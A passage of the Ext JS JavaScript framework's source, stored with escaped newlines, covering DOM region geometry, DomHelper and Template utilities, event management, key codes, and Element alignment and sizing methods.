this.getTime())\n};\nExt.applyIf(Number.prototype, {constrain:function (b, a) {\n    return Math.min(Math.max(this, b), a)\n}});\nExt.lib.Dom.getRegion = function (a) {\n    return Ext.lib.Region.getRegion(a)\n};\nExt.lib.Region = function (d, g, a, c) {\n    var e = this;\n    e.top = d;\n    e[1] = d;\n    e.right = g;\n    e.bottom = a;\n    e.left = c;\n    e[0] = c\n};\nExt.lib.Region.prototype = {contains:function (b) {\n    var a = this;\n    return(b.left >= a.left && b.right <= a.right && b.top >= a.top && b.bottom <= a.bottom)\n}, getArea:function () {\n    var a = this;\n    return((a.bottom - a.top) * (a.right - a.left))\n}, intersect:function (h) {\n    var g = this, d = Math.max(g.top, h.top), e = Math.min(g.right, h.right), a = Math.min(g.bottom, h.bottom), c = Math.max(g.left, h.left);\n    if (a >= d && e >= c) {\n        return new Ext.lib.Region(d, e, a, c)\n    }\n}, union:function (h) {\n    var g = this, d = Math.min(g.top, h.top), e = Math.max(g.right, h.right), a = Math.max(g.bottom, h.bottom), c = Math.min(g.left, h.left);\n    return new Ext.lib.Region(d, e, a, c)\n}, constrainTo:function (b) {\n    var a = this;\n    a.top = a.top.constrain(b.top, b.bottom);\n    a.bottom = a.bottom.constrain(b.top, b.bottom);\n    a.left = a.left.constrain(b.left, b.right);\n    a.right = a.right.constrain(b.left, b.right);\n    return a\n}, adjust:function (d, c, a, g) {\n    var e = this;\n    e.top += d;\n    e.left += c;\n    e.right += g;\n    e.bottom += a;\n    return e\n}};\nExt.lib.Region.getRegion = function (e) {\n    var h = Ext.lib.Dom.getXY(e), d = h[1], g = h[0] + e.offsetWidth, a = h[1] + e.offsetHeight, c = h[0];\n    return new Ext.lib.Region(d, g, a, c)\n};\nExt.lib.Point = function (a, c) {\n    if (Ext.isArray(a)) {\n        c = a[1];\n        a = a[0]\n    }\n    var b = this;\n    b.x = b.right = b.left = b[0] = a;\n    b.y = b.top = b.bottom = b[1] = c\n};\nExt.lib.Point.prototype = new Ext.lib.Region();\nExt.apply(Ext.DomHelper, function () {\n    var e, a = \"afterbegin\", h = \"afterend\", i = \"beforebegin\", d = \"beforeend\", b = /tag|children|cn|html$/i;\n\n    function g(m, p, n, q, l, j) {\n        m = Ext.getDom(m);\n        var k;\n        if (e.useDom) {\n            k = c(p, null);\n            if (j) {\n                m.appendChild(k)\n            } else {\n                (l == \"firstChild\" ? m : m.parentNode).insertBefore(k, m[l] || m)\n            }\n        } else {\n            k = Ext.DomHelper.insertHtml(q, m, Ext.DomHelper.createHtml(p))\n        }\n        return n ? Ext.get(k, true) : k\n    }\n\n    function c(j, r) {\n        var k, u = document, p, s, m, t;\n        if (Ext.isArray(j)) {\n            k = u.createDocumentFragment();\n            for (var q = 0, n = j.length; q < n; q++) {\n                c(j[q], k)\n            }\n        } else {\n            if (typeof j == \"string\") {\n                k = u.createTextNode(j)\n            } else {\n                k = u.createElement(j.tag || \"div\");\n                p = !!k.setAttribute;\n                for (var s in j) {\n                    if (!b.test(s)) {\n                        m = j[s];\n                        if (s == \"cls\") {\n                            k.className = m\n                        } else {\n                            if (p) {\n                                k.setAttribute(s, m)\n                            } else {\n                                k[s] = m\n                            }\n                        }\n                    }\n                }\n                Ext.DomHelper.applyStyles(k, j.style);\n                if ((t = j.children || j.cn)) {\n                    c(t, k)\n                } else {\n                    if (j.html) {\n                        k.innerHTML = j.html\n                    }\n                }\n            }\n        }\n        if (r) {\n            r.appendChild(k)\n        }\n        return k\n    }\n\n    e = {createTemplate:function (k) {\n        var j = Ext.DomHelper.createHtml(k);\n        return new Ext.Template(j)\n    }, useDom:false, insertBefore:function (j, l, k) {\n        return g(j, l, k, i)\n    }, insertAfter:function (j, l, k) {\n        return g(j, l, k, h, \"nextSibling\")\n    }, insertFirst:function (j, l, k) {\n        return g(j, l, k, a, \"firstChild\")\n    }, append:function (j, l, k) {\n        return g(j, l, k, d, \"\", true)\n    }, createDom:c};\n    return e\n}());\nExt.apply(Ext.Template.prototype, {disableFormats:false, re:/\\{([\\w\\-]+)(?:\\:([\\w\\.]*)(?:\\((.*?)?\\))?)?\\}/g, argsRe:/^\\s*['\"](.*)[\"']\\s*$/, compileARe:/\\\\/g, compileBRe:/(\\r\\n|\\n)/g, compileCRe:/'/g, applyTemplate:function (b) {\n    var g = this, a = g.disableFormats !== true, e = Ext.util.Format, c = g;\n    if (g.compiled) {\n        return g.compiled(b)\n    }\n    function d(j, l, p, k) {\n        if (p && a) {\n            if (p.substr(0, 5) == \"this.\") {\n                return c.call(p.substr(5), b[l], b)\n            } else {\n                if (k) {\n                    var o = g.argsRe;\n                    k = k.split(\",\");\n                    for (var n = 0, h = k.length; n < h; n++) {\n                        k[n] = k[n].replace(o, \"$1\")\n                    }\n                    k = [b[l]].concat(k)\n                } else {\n                    k = [b[l]]\n                }\n                return e[p].apply(e, k)\n            }\n        } else {\n            return b[l] !== undefined ? b[l] : \"\"\n        }\n    }\n\n    return g.html.replace(g.re, d)\n}, compile:function () {\n    var me = this, fm = Ext.util.Format, useF = me.disableFormats !== true, sep = Ext.isGecko ? \"+\" : \",\", body;\n\n    function fn(m, name, format, args) {\n        if (format && useF) {\n            args = args ? \",\" + args : \"\";\n            if (format.substr(0, 5) != \"this.\") {\n                format = \"fm.\" + format + \"(\"\n            } else {\n                format = 'this.call(\"' + format.substr(5) + '\", ';\n                args = \", values\"\n            }\n        } else {\n            args = \"\";\n            format = \"(values['\" + name + \"'] == undefined ? '' : \"\n        }\n        return\"'\" + sep + format + \"values['\" + name + \"']\" + args + \")\" + sep + \"'\"\n    }\n\n    if (Ext.isGecko) {\n        body = \"this.compiled = function(values){ return '\" + me.html.replace(me.compileARe, \"\\\\\\\\\").replace(me.compileBRe, \"\\\\n\").replace(me.compileCRe, \"\\\\'\").replace(me.re, fn) + \"';};\"\n    } else {\n        body = [\"this.compiled = function(values){ return ['\"];\n        body.push(me.html.replace(me.compileARe, \"\\\\\\\\\").replace(me.compileBRe, \"\\\\n\").replace(me.compileCRe, \"\\\\'\").replace(me.re, fn));\n        body.push(\"'].join('');};\");\n        body = body.join(\"\")\n    }\n    eval(body);\n    return me\n}, call:function (c, b, a) {\n    return this[c](b, a)\n}});\nExt.Template.prototype.apply = Ext.Template.prototype.applyTemplate;\nExt.util.Functions = {createInterceptor:function (c, b, a) {\n    var d = c;\n    if (!Ext.isFunction(b)) {\n        return c\n    } else {\n        return function () {\n            var g = this, e = arguments;\n            b.target = g;\n            b.method = c;\n            return(b.apply(a || g || window, e) !== false) ? c.apply(g || window, e) : null\n        }\n    }\n}, createDelegate:function (c, d, b, a) {\n    if (!Ext.isFunction(c)) {\n        return c\n    }\n    return function () {\n        var g = b || arguments;\n        if (a === true) {\n            g = Array.prototype.slice.call(arguments, 0);\n            g = g.concat(b)\n        } else {\n            if (Ext.isNumber(a)) {\n                g = Array.prototype.slice.call(arguments, 0);\n                var e = [a, 0].concat(b);\n                Array.prototype.splice.apply(g, e)\n            }\n        }\n        return c.apply(d || window, g)\n    }\n}, defer:function (d, c, e, b, a) {\n    d = Ext.util.Functions.createDelegate(d, e, b, a);\n    if (c > 0) {\n        return setTimeout(d, c)\n    }\n    d();\n    return 0\n}, createSequence:function (c, b, a) {\n    if (!Ext.isFunction(b)) {\n        return c\n    } else {\n        return function () {\n            var d = c.apply(this || window, arguments);\n            b.apply(a || this || window, arguments);\n            return d\n        }\n    }\n}};\nExt.defer = Ext.util.Functions.defer;\nExt.createInterceptor = Ext.util.Functions.createInterceptor;\nExt.createSequence = Ext.util.Functions.createSequence;\nExt.createDelegate = Ext.util.Functions.createDelegate;\nExt.apply(Ext.util.Observable.prototype, function () {\n    function a(j) {\n        var i = (this.methodEvents = this.methodEvents || {})[j], d, c, g, h = this;\n        if (!i) {\n            this.methodEvents[j] = i = {};\n            i.originalFn = this[j];\n            i.methodName = j;\n            i.before = [];\n            i.after = [];\n            var b = function (l, k, e) {\n                if ((c = l.apply(k || h, e)) !== undefined) {\n                    if (typeof c == \"object\") {\n                        if (c.returnValue !== undefined) {\n                            d = c.returnValue\n                        } else {\n                            d = c\n                        }\n                        g = !!c.cancel\n                    } else {\n                        if (c === false) {\n                            g = true\n                        } else {\n                            d = c\n                        }\n                    }\n                }\n            };\n            this[j] = function () {\n                var l = Array.prototype.slice.call(arguments, 0), k;\n                d = c = undefined;\n                g = false;\n                for (var m = 0, e = i.before.length; m < e; m++) {\n                    k = i.before[m];\n                    b(k.fn, k.scope, l);\n                    if (g) {\n                        return d\n                    }\n                }\n                if ((c = i.originalFn.apply(h, l)) !== undefined) {\n                    d = c\n                }\n                for (var m = 0, e = i.after.length; m < e; m++) {\n                    k = i.after[m];\n                    b(k.fn, k.scope, l);\n                    if (g) {\n                        return d\n                    }\n                }\n                return d\n            }\n        }\n        return i\n    }\n\n    return{beforeMethod:function (d, c, b) {\n        a.call(this, d).before.push({fn:c, scope:b})\n    }, afterMethod:function (d, c, b) {\n        a.call(this, d).after.push({fn:c, scope:b})\n    }, removeMethodListener:function (j, g, d) {\n        var h = this.getMethodEvent(j);\n        for (var c = 0, b = h.before.length; c < b; c++) {\n            if (h.before[c].fn == g && h.before[c].scope == d) {\n                h.before.splice(c, 1);\n                return\n            }\n        }\n        for (var c = 0, b = h.after.length; c < b; c++) {\n            if (h.after[c].fn == g && h.after[c].scope == d) {\n                h.after.splice(c, 1);\n                return\n            }\n        }\n    }, relayEvents:function (j, e) {\n        var h = this;\n\n        function g(i) {\n            return function () {\n                return h.fireEvent.apply(h, [i].concat(Array.prototype.slice.call(arguments, 0)))\n            }\n        }\n\n        for (var d = 0, b = e.length; d < b; d++) {\n            var c = e[d];\n            h.events[c] = h.events[c] || true;\n            j.on(c, g(c), h)\n        }\n    }, enableBubble:function (e) {\n        var g = this;\n        if (!Ext.isEmpty(e)) {\n            e = Ext.isArray(e) ? e : Array.prototype.slice.call(arguments, 0);\n            for (var d = 0, b = e.length; d < b; d++) {\n                var c = e[d];\n                c = c.toLowerCase();\n                var h = g.events[c] || true;\n                if (typeof h == \"boolean\") {\n                    h = new Ext.util.Event(g, c);\n                    g.events[c] = h\n                }\n                h.bubble = true\n            }\n        }\n    }}\n}());\nExt.util.Observable.capture = function (c, b, a) {\n    c.fireEvent = c.fireEvent.createInterceptor(b, a)\n};\nExt.util.Observable.observeClass = function (b, a) {\n    if (b) {\n        if (!b.fireEvent) {\n            Ext.apply(b, new Ext.util.Observable());\n            Ext.util.Observable.capture(b.prototype, b.fireEvent, b)\n        }\n        if (typeof a == \"object\") {\n            b.on(a)\n        }\n        return b\n    }\n};\nExt.apply(Ext.EventManager, function () {\n    var d, k, g, b, a = Ext.lib.Dom, j = /^(?:scope|delay|buffer|single|stopEvent|preventDefault|stopPropagation|normalized|args|delegate)$/, c = Ext.EventManager._unload, i = 0, h = 0, e = Ext.isWebKit ? Ext.num(navigator.userAgent.match(/AppleWebKit\\/(\\d+)/)[1]) >= 525 : !((Ext.isGecko && !Ext.isWindows) || Ext.isOpera);\n    return{_unload:function () {\n        Ext.EventManager.un(window, \"resize\", this.fireWindowResize, this);\n        c.call(Ext.EventManager)\n    }, doResizeEvent:function () {\n        var m = a.getViewHeight(), l = a.getViewWidth();\n        if (h != m || i != l) {\n            d.fire(i = l, h = m)\n        }\n    }, onWindowResize:function (n, m, l) {\n        if (!d) {\n            d = new Ext.util.Event();\n            k = new Ext.util.DelayedTask(this.doResizeEvent);\n            Ext.EventManager.on(window, \"resize\", this.fireWindowResize, this)\n        }\n        d.addListener(n, m, l)\n    }, fireWindowResize:function () {\n        if (d) {\n            k.delay(100)\n        }\n    }, onTextResize:function (o, n, l) {\n        if (!g) {\n            g = new Ext.util.Event();\n            var m = new Ext.Element(document.createElement(\"div\"));\n            m.dom.className = \"x-text-resize\";\n            m.dom.innerHTML = \"X\";\n            m.appendTo(document.body);\n            b = m.dom.offsetHeight;\n            setInterval(function () {\n                if (m.dom.offsetHeight != b) {\n                    g.fire(b, b = m.dom.offsetHeight)\n                }\n            }, this.textResizeInterval)\n        }\n        g.addListener(o, n, l)\n    }, removeResizeListener:function (m, l) {\n        if (d) {\n            d.removeListener(m, l)\n        }\n    }, fireResize:function () {\n        if (d) {\n            d.fire(a.getViewWidth(), a.getViewHeight())\n        }\n    }, textResizeInterval:50, ieDeferSrc:false, getKeyEvent:function () {\n        return e ? \"keydown\" : \"keypress\"\n    }, useKeydown:e}\n}());\nExt.EventManager.on = Ext.EventManager.addListener;\nExt.apply(Ext.EventObjectImpl.prototype, {BACKSPACE:8, TAB:9, NUM_CENTER:12, ENTER:13, RETURN:13, SHIFT:16, CTRL:17, CONTROL:17, ALT:18, PAUSE:19, CAPS_LOCK:20, ESC:27, SPACE:32, PAGE_UP:33, PAGEUP:33, PAGE_DOWN:34, PAGEDOWN:34, END:35, HOME:36, LEFT:37, UP:38, RIGHT:39, DOWN:40, PRINT_SCREEN:44, INSERT:45, DELETE:46, ZERO:48, ONE:49, TWO:50, THREE:51, FOUR:52, FIVE:53, SIX:54, SEVEN:55, EIGHT:56, NINE:57, A:65, B:66, C:67, D:68, E:69, F:70, G:71, H:72, I:73, J:74, K:75, L:76, M:77, N:78, O:79, P:80, Q:81, R:82, S:83, T:84, U:85, V:86, W:87, X:88, Y:89, Z:90, CONTEXT_MENU:93, NUM_ZERO:96, NUM_ONE:97, NUM_TWO:98, NUM_THREE:99, NUM_FOUR:100, NUM_FIVE:101, NUM_SIX:102, NUM_SEVEN:103, NUM_EIGHT:104, NUM_NINE:105, NUM_MULTIPLY:106, NUM_PLUS:107, NUM_MINUS:109, NUM_PERIOD:110, NUM_DIVISION:111, F1:112, F2:113, F3:114, F4:115, F5:116, F6:117, F7:118, F8:119, F9:120, F10:121, F11:122, F12:123, isNavKeyPress:function () {\n    var b = this, a = this.normalizeKey(b.keyCode);\n    return(a >= 33 && a <= 40) || a == b.RETURN || a == b.TAB || a == b.ESC\n}, isSpecialKey:function () {\n    var a = this.normalizeKey(this.keyCode);\n    return(this.type == \"keypress\" && this.ctrlKey) || this.isNavKeyPress() || (a == this.BACKSPACE) || (a >= 16 && a <= 20) || (a >= 44 && a <= 46)\n}, getPoint:function () {\n    return new Ext.lib.Point(this.xy[0], this.xy[1])\n}, hasModifier:function () {\n    return((this.ctrlKey || this.altKey) || this.shiftKey)\n}});\nExt.Element.addMethods({swallowEvent:function (a, b) {\n    var d = this;\n\n    function c(g) {\n        g.stopPropagation();\n        if (b) {\n            g.preventDefault()\n        }\n    }\n\n    if (Ext.isArray(a)) {\n        Ext.each(a, function (g) {\n            d.on(g, c)\n        });\n        return d\n    }\n    d.on(a, c);\n    return d\n}, relayEvent:function (a, b) {\n    this.on(a, function (c) {\n        b.fireEvent(a, c)\n    })\n}, clean:function (b) {\n    var d = this, e = d.dom, g = e.firstChild, c = -1;\n    if (Ext.Element.data(e, \"isCleaned\") && b !== true) {\n        return d\n    }\n    while (g) {\n        var a = g.nextSibling;\n        if (g.nodeType == 3 && !(/\\S/.test(g.nodeValue))) {\n            e.removeChild(g)\n        } else {\n            g.nodeIndex = ++c\n        }\n        g = a\n    }\n    Ext.Element.data(e, \"isCleaned\", true);\n    return d\n}, load:function () {\n    var a = this.getUpdater();\n    a.update.apply(a, arguments);\n    return this\n}, getUpdater:function () {\n    return this.updateManager || (this.updateManager = new Ext.Updater(this))\n}, update:function (html, loadScripts, callback) {\n    if (!this.dom) {\n        return this\n    }\n    html = html || \"\";\n    if (loadScripts !== true) {\n        this.dom.innerHTML = html;\n        if (typeof callback == \"function\") {\n            callback()\n        }\n        return this\n    }\n    var id = Ext.id(), dom = this.dom;\n    html += '<span id=\"' + id + '\"></span>';\n    Ext.lib.Event.onAvailable(id, function () {\n        var DOC = document, hd = DOC.getElementsByTagName(\"head\")[0], re = /(?:<script([^>]*)?>)((\\n|\\r|.)*?)(?:<\\/script>)/ig, srcRe = /\\ssrc=([\\'\\\"])(.*?)\\1/i, typeRe = /\\stype=([\\'\\\"])(.*?)\\1/i, match, attrs, srcMatch, typeMatch, el, s;\n        while ((match = re.exec(html))) {\n            attrs = match[1];\n            srcMatch = attrs ? attrs.match(srcRe) : false;\n            if (srcMatch && srcMatch[2]) {\n                s = DOC.createElement(\"script\");\n                s.src = srcMatch[2];\n                typeMatch = attrs.match(typeRe);\n                if (typeMatch && typeMatch[2]) {\n                    s.type = typeMatch[2]\n                }\n                hd.appendChild(s)\n            } else {\n                if (match[2] && match[2].length > 0) {\n                    if (window.execScript) {\n                        window.execScript(match[2])\n                    } else {\n                        window.eval(match[2])\n                    }\n                }\n            }\n        }\n        el = DOC.getElementById(id);\n        if (el) {\n            Ext.removeNode(el)\n        }\n        if (typeof callback == \"function\") {\n            callback()\n        }\n    });\n    dom.innerHTML = html.replace(/(?:<script.*?>)((\\n|\\r|.)*?)(?:<\\/script>)/ig, \"\");\n    return this\n}, removeAllListeners:function () {\n    this.removeAnchor();\n    Ext.EventManager.removeAll(this.dom);\n    return this\n}, createProxy:function (a, e, d) {\n    a = (typeof a == \"object\") ? a : {tag:\"div\", cls:a};\n    var c = this, b = e ? Ext.DomHelper.append(e, a, true) : Ext.DomHelper.insertBefore(c.dom, a, true);\n    if (d && c.setBox && c.getBox) {\n        b.setBox(c.getBox())\n    }\n    return b\n}});\nExt.Element.prototype.getUpdateManager = Ext.Element.prototype.getUpdater;\nExt.Element.addMethods({getAnchorXY:function (e, l, q) {\n    e = (e || \"tl\").toLowerCase();\n    q = q || {};\n    var k = this, b = k.dom == document.body || k.dom == document, n = q.width || b ? Ext.lib.Dom.getViewWidth() : k.getWidth(), i = q.height || b ? Ext.lib.Dom.getViewHeight() : k.getHeight(), p, a = Math.round, c = k.getXY(), m = k.getScroll(), j = b ? m.left : !l ? c[0] : 0, g = b ? m.top : !l ? c[1] : 0, d = {c:[a(n * 0.5), a(i * 0.5)], t:[a(n * 0.5), 0], l:[0, a(i * 0.5)], r:[n, a(i * 0.5)], b:[a(n * 0.5), i], tl:[0, 0], bl:[0, i], br:[n, i], tr:[n, 0]};\n    p = d[e];\n    return[p[0] + j, p[1] + g]\n}, anchorTo:function (b, h, c, a, k, l) {\n    var i = this, e = i.dom, j = !Ext.isEmpty(k), d = function () {\n        Ext.fly(e).alignTo(b, h, c, a);\n        Ext.callback(l, Ext.fly(e))\n    }, g = this.getAnchor();\n    this.removeAnchor();\n    Ext.apply(g, {fn:d, scroll:j});\n    Ext.EventManager.onWindowResize(d, null);\n    if (j) {\n        Ext.EventManager.on(window, \"scroll\", d, null, {buffer:!isNaN(k) ? k : 50})\n    }\n    d.call(i);\n    return i\n}, removeAnchor:function () {\n    var b = this, a = this.getAnchor();\n    if (a && a.fn) {\n        Ext.EventManager.removeResizeListener(a.fn);\n        if (a.scroll) {\n            Ext.EventManager.un(window, \"scroll\", a.fn)\n        }\n        delete a.fn\n    }\n    return b\n}, getAnchor:function () {\n    var b = Ext.Element.data, c = this.dom;\n    if (!c) {\n        return\n    }\n    var a = b(c, \"_anchor\");\n    if (!a) {\n        a = b(c, \"_anchor\", {})\n    }\n    return a\n}, getAlignToXY:function (g, A, B) {\n    g = Ext.get(g);\n    if (!g || !g.dom) {\n        throw\"Element.alignToXY with an element that doesn't exist\"\n    }\n    B = B || [0, 0];\n    A = (!A || A == \"?\" ? \"tl-bl?\" : (!(/-/).test(A) && A !== \"\" ? \"tl-\" + A : A || \"tl-bl\")).toLowerCase();\n    var K = this, H = K.dom, M, L, n, l, s, F, v, t = Ext.lib.Dom.getViewWidth() - 10, G = Ext.lib.Dom.getViewHeight() - 10, b, i, j, k, u, z, N = document, J = N.documentElement, q = N.body, E = (J.scrollLeft || q.scrollLeft || 0) + 5, D = (J.scrollTop || q.scrollTop || 0) + 5, I = false, e = \"\", a = \"\", C = A.match(/^([a-z]+)-([a-z]+)(\\?)?$/);\n    if (!C) {\n        throw\"Element.alignTo with an invalid alignment \" + A\n    }\n    e = C[1];\n    a = C[2];\n    I = !!C[3];\n    M = K.getAnchorXY(e, true);\n    L = g.getAnchorXY(a, false);\n    n = L[0] - M[0] + B[0];\n    l = L[1] - M[1] + B[1];\n    if (I) {\n        s = K.getWidth();\n        F = K.getHeight();\n        v = g.getRegion();\n        b = e.charAt(0);\n        i = e.charAt(e.length - 1);\n        j = a.charAt(0);\n        k = a.charAt(a.length - 1);\n        u = ((b == \"t\" && j == \"b\") || (b == \"b\" && j == \"t\"));\n        z = ((i == \"r\" && k == \"l\") || (i == \"l\" && k == \"r\"));\n        if (n + s > t + E) {\n            n = z ? v.left - s : t + E - s\n        }\n        if (n < E) {\n            n = z ? v.right : E\n        }\n        if (l + F > G + D) {\n            l = u ? v.top - F : G + D - F\n        }\n        if (l < D) {\n            l = u ? v.bottom : D\n        }\n    }\n    return[n, l]\n}, alignTo:function (c, a, e, b) {\n    var d = this;\n    return d.setXY(d.getAlignToXY(c, a, e), d.preanim && !!b ? d.preanim(arguments, 3) : false)\n}, adjustForConstraints:function (c, a, b) {\n    return this.getConstrainToXY(a || document, false, b, c) || c\n}, getConstrainToXY:function (b, a, c, e) {\n    var d = {top:0, left:0, bottom:0, right:0};\n    return function (i, A, l, n) {\n        i = Ext.get(i);\n        l = l ? Ext.applyIf(l, d) : d;\n        var z, D, v = 0, u = 0;\n        if (i.dom == document.body || i.dom == document) {\n            z = Ext.lib.Dom.getViewWidth();\n            D = Ext.lib.Dom.getViewHeight()\n        } else {\n            z = i.dom.clientWidth;\n            D = i.dom.clientHeight;\n            if (!A) {\n                var t = i.getXY();\n                v = t[0];\n                u = t[1]\n            }\n        }\n        var r = i.getScroll();\n        v += l.left + r.left;\n        u += l.top + r.top;\n        z -= l.right;\n        D -= l.bottom;\n        var B = v + z, g = u + D, j = n || (!A ? this.getXY() : [this.getLeft(true), this.getTop(true)]), p = j[0], o = j[1], k = this.getConstrainOffset(), q = this.dom.offsetWidth + k, C = this.dom.offsetHeight + k;\n        var m = false;\n        if ((p + q) > B) {\n            p = B - q;\n            m = true\n        }\n        if ((o + C) > g) {\n            o = g - C;\n            m = true\n        }\n        if (p < v) {\n            p = v;\n            m = true\n        }\n        if (o < u) {\n            o = u;\n            m = true\n        }\n        return m ? [p, o] : false\n    }\n}(), getConstrainOffset:function () {\n    return 0\n}, getCenterXY:function () {\n    return this.getAlignToXY(document, \"c-c\")\n}, center:function (a) {\n    return this.alignTo(a || document, \"c-c\")\n}});\nExt.Element.addMethods({select:function (a, b) {\n    return Ext.Element.select(a, b, this.dom)\n}});\nExt.apply(Ext.Element.prototype, function () {\n    var c = Ext.getDom, a = Ext.get, b = Ext.DomHelper;\n    return{insertSibling:function (i, g, h) {\n        var j = this, e, d = (g || \"before\").toLowerCase() == \"after\", k;\n        if (Ext.isArray(i)) {\n            k = j;\n            Ext.each(i, function (l) {\n                e = Ext.fly(k, \"_internal\").insertSibling(l, g, h);\n                if (d) {\n                    k = e\n                }\n            });\n            return e\n        }\n        i = i || {};\n        if (i.nodeType || i.dom) {\n            e = j.dom.parentNode.insertBefore(c(i), d ? j.dom.nextSibling : j.dom);\n            if (!h) {\n                e = a(e)\n            }\n        } else {\n            if (d && !j.dom.nextSibling) {\n                e = b.append(j.dom.parentNode, i, !h)\n            } else {\n                e = b[d ? \"insertAfter\" : \"insertBefore\"](j.dom, i, !h)\n            }\n        }\n        return e\n    }}\n}());\nExt.Element.boxMarkup = '<div class=\"{0}-tl\"><div class=\"{0}-tr\"><div class=\"{0}-tc\"></div></div></div><div class=\"{0}-ml\"><div class=\"{0}-mr\"><div class=\"{0}-mc\"></div></div></div><div class=\"{0}-bl\"><div class=\"{0}-br\"><div class=\"{0}-bc\"></div></div></div>';\nExt.Element.addMethods(function () {\n    var a = \"_internal\", b = /(\\d+\\.?\\d+)px/;\n    return{applyStyles:function (c) {\n        Ext.DomHelper.applyStyles(this.dom, c);\n        return this\n    }, getStyles:function () {\n        var c = {};\n        Ext.each(arguments, function (d) {\n            c[d] = this.getStyle(d)\n        }, this);\n        return c\n    }, setOverflow:function (c) {\n        var d = this.dom;\n        if (c == \"auto\" && Ext.isMac && Ext.isGecko2) {\n            d.style.overflow = \"hidden\";\n            (function () {\n                d.style.overflow = \"auto\"\n            }).defer(1)\n        } else {\n            d.style.overflow = c\n        }\n    }, boxWrap:function (c) {\n        c = c || \"x-box\";\n        var d = Ext.get(this.insertHtml(\"beforeBegin\", \"<div class='\" + c + \"'>\" + String.format(Ext.Element.boxMarkup, c) + \"</div>\"));\n        Ext.DomQuery.selectNode(\".\" + c + \"-mc\", d.dom).appendChild(this.dom);\n        return d\n    }, setSize:function (e, c, d) {\n        var g = this;\n        if (typeof e == \"object\") {\n            c = e.height;\n            e = e.width\n        }\n        e = g.adjustWidth(e);\n        c = g.adjustHeight(c);\n        if (!d || !g.anim) {\n            g.dom.style.width = g.addUnits(e);\n            g.dom.style.height = g.addUnits(c)\n        } else {\n            g.anim({width:{to:e}, height:{to:c}}, g.preanim(arguments, 2))\n        }\n        return g\n    }, getComputedHeight:function () {\n        var d = this, c = Math.max(d.dom.offsetHeight, d.dom.clientHeight);\n        if (!c) {\n            c = parseFloat(d.getStyle(\"height\")) || 0;\n            if (!d.isBorderBox()) {\n                c += d.getFrameWidth(\"tb\")\n            }\n        }\n        return c\n    }, getComputedWidth:function () {\n        var c = Math.max(this.dom.offsetWidth, this.dom.clientWidth);\n        if (!c) {\n            c = parseFloat(this.getStyle(\"width\")) || 0;\n            if (!this.isBorderBox()) {\n                c += this.getFrameWidth(\"lr\")\n            }\n        }\n        return c\n    }, getFrameWidth:function (d, c) {\n        return c && this.isBorderBox() ? 0 : (this.getPadding(d) + this.getBorderWidth(d))\n    }, addClassOnOver:function (c) {\n        this.hover(function () {\n            Ext.fly(this, a).addClass(c)\n        }, function () {\n            Ext.fly(this, a).removeClass(c)\n        });\n        return this\n    }, addClassOnFocus:function (c) {\n        this.on(\"focus\", function () {\n            Ext.fly(this, a).addClass(c)\n        }, this.dom);\n        this.on(\"blur\", function () {\n            Ext.fly(this, a).removeClass(c)\n        }, this.dom);\n        return this\n    }, addClassOnClick:function (c) {\n        var d = this.dom;\n        this.on(\"mousedown\", function () {\n            Ext.fly(d, a).addClass(c);\n            var g = Ext.getDoc(), e = function () {\n                Ext.fly(d, a).removeClass(c);\n                g.removeListener(\"mouseup\", e)\n            };\n            g.on(\"mouseup\", e)\n        });\n        return this\n    }, getViewSize:function () {\n        var g = document, h = this.dom, c = (h == g || h == g.body);\n        if (c) {\n            var e = Ext.lib.Dom;\n            return{width:e.getViewWidth(), height:e.getViewHeight()}\n        } else {\n            return{width:h.clientWidth, height:h.clientHeight}\n        }\n    }, getStyleSize:function () {\n        var j = this, c, i, l = document, m = this.dom, e = (m == l || m == l.body), g = m.style;\n        if (e) {\n            var k = Ext.lib.Dom;\n            return{width:k.getViewWidth(), height:k.getViewHeight()}\n        }\n        if (g.width && g.width != \"auto\") {\n            c = parseFloat(g.width);\n            if (j.isBorderBox()) {\n                c -= j.getFrameWidth(\"lr\")\n            }\n        }\n        if (g.height && g.height != \"auto\") {\n            i = parseFloat(g.height);\n            if (j.isBorderBox()) {\n                i -= j.getFrameWidth(\"tb\")\n            }\n        }\n        return{width:c || j.getWidth(true), height:i || j.getHeight(true)}\n    }, getSize:function (c) {\n        return{width:this.getWidth(c), height:this.getHeight(c)}\n    }, repaint:function () {\n        var c = this.dom;\n        this.addClass(\"x-repaint\");\n        setTimeout(function () {\n            Ext.fly(c).removeClass(\"x-repaint\")\n        }, 1);\n        return this\n    }, unselectable:function () {\n        this.dom.unselectable = \"on\";\n        return this.swallowEvent(\"selectstart\", true).applyStyles(\"-moz-user-select:none;-khtml-user-select:none;\").addClass(\"x-unselectable\")\n    }, getMargins:function (d) {\n        var e = this, c, g = {t:\"top\", l:\"left\", r:\"right\", b:\"bottom\"}, h = {};\n        if (!d) {\n            for (c in e.margins) {\n                h[g[c]] = parseFloat(e.getStyle(e.margins[c])) || 0\n            }\n            return h\n        } else {\n            return e.addStyles.call(e, d, e.margins)\n        }\n    }}\n}());\nExt.Element.addMethods({setBox:function (e, g, b) {\n    var d = this, a = e.width, c = e.height;\n    if ((g && !d.autoBoxAdjust) && !d.isBorderBox()) {\n        a -= (d.getBorderWidth(\"lr\") + d.getPadding(\"lr\"));\n        c -= (d.getBorderWidth(\"tb\") + d.getPadding(\"tb\"))\n    }\n    d.setBounds(e.x, e.y, a, c, d.animTest.call(d, arguments, b, 2));\n    return d\n}, getBox:function (j, p) {\n    var m = this, v, e, o, d = m.getBorderWidth, q = m.getPadding, g, a, u, n;\n    if (!p) {\n        v = m.getXY()\n    } else {\n        e = parseInt(m.getStyle(\"left\"), 10) || 0;\n        o = parseInt(m.getStyle(\"top\"), 10) || 0;\n        v = [e, o]\n    }\n    var c = m.dom, s = c.offsetWidth, i = c.offsetHeight, k;\n    if (!j) {\n        k = {x:v[0], y:v[1], 0:v[0], 1:v[1], width:s, height:i}\n    } else {\n        g = d.call(m, \"l\") + q.call(m, \"l\");\n        a = d.call(m, \"r\") + q.call(m, \"r\");\n        u = d.call(m, \"t\") + q.call(m, \"t\");\n        n = d.call(m, \"b\") + q.call(m, \"b\");\n        k = {x:v[0] + g, y:v[1] + u, 0:v[0] + g, 1:v[1] + u, width:s - (g + a), height:i - (u + n)}\n    }\n    k.right = k.x + k.width;\n    k.bottom = k.y + k.height;\n    return k\n}, move:function (j, b, c) {\n    var g = this, m = g.getXY(), k = m[0], i = m[1], d = [k - b, i], l = [k + b, i], h = [k, i - b], a = [k, i + b], e = {l:d, left:d, r:l, right:l, t:h, top:h, up:h, b:a, bottom:a, down:a};\n    j = j.toLowerCase();\n    g.moveTo(e[j][0], e[j][1], g.animTest.call(g, arguments, c, 2))\n}, setLeftTop:function (d, c) {\n    var b = 